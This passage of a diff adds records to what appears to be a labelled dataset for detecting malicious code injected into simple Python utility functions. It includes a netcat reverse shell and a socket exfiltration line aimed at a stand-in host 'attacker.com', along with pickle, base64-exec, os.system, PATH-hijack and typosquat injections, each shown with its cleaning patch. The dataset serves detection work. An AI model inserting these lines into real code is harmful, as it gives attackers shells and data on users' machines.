"attack_type": "env_hijack" + }, + { + "id": "tp_56e85e75", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_10bd7758", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_baddf0ce", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2e1167de", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1e7b4aaa", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_7cb5d652", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_a66e4a72", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_abc20c90", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_589e5176", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_54d58781", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3d52e2f1", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7ee20b15", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_be3ade29", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_08af0e30", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8fc6e4c2", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_50336581", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6d639de3", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8d139886", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_789ce2f5", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_926661d3", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c9cc5f8e", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_43cf394b", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_4ed104dd", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_8ad39bb2", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7a599998", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_ef9e1ddc", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1656291e", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_1595c04a", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f258a4fe", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1b06339b", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_f0249c55", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_73598f9c", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_44566f6c", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_2d236f34", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_29900048", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ade0c423", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_bd2402a5", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dc131d1d", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_52e0b710", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d6c3540e", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_c24edc30", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_38a7f7d4", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_2a4c297b", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1fbb5886", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_b881c0c0", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_dfbdbd5e", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_dd3079bb", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_fbeb3f1c", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c12d1621", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_3e8ed451", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_03a5c192", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_37ba7cd4", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ea26bbd4", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = 